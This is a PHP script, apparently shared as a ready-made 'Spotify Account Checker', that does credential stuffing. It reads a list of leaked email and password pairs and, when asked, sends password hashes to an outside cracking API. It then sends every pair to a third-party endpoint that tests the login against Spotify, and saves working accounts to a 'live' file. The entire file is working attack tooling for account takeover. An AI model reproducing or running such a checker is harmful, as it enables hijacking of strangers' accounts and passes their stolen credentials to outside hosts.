[PHP] Spotify Account Checker

<?php
error_reporting(0);
function in_string($s,$as) {
    $s=strtoupper($s);
    if(!is_array($as)) $as=array($as);
    for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
    return false;
}
if(empty($argv[1])) exit("List empass mana?");
$file = file_get_contents($argv[1]);
$data = explode("\n",$file);
for($a=0;$a<count($data);$a++){
        $data1 = explode("|",$data[$a]);
        $email = $data1[0];
        $pass = $data1[1];
    if($argv[2]=="--md5"){
        $get = @file_get_contents("https://lea.kz/api/hash/$pass");
        $json = json_decode($get,true);
        $pass = $json['password'];
    }
    $cek = @file_get_contents("http://nanikore-gladzid.c9users.io/source/spotify/api.php?user=$email&pass=$pass");
    if (strpos($cek,"Spotify")) {
                if(!in_array($cek,explode("\n",@file_get_contents("spotify-live.txt")))){
                        $h=fopen("spotify-live.txt","a");
                        fwrite($h,$cek."\n");
                        fclose($h);
                }
        $cek = "\033[32m".$cek. "\033[0m";
        }else{
        $cek = "\033[31m".$cek. "\033[0m";
    }
        print("[$a/".count($data)."] ".$cek."\n");
}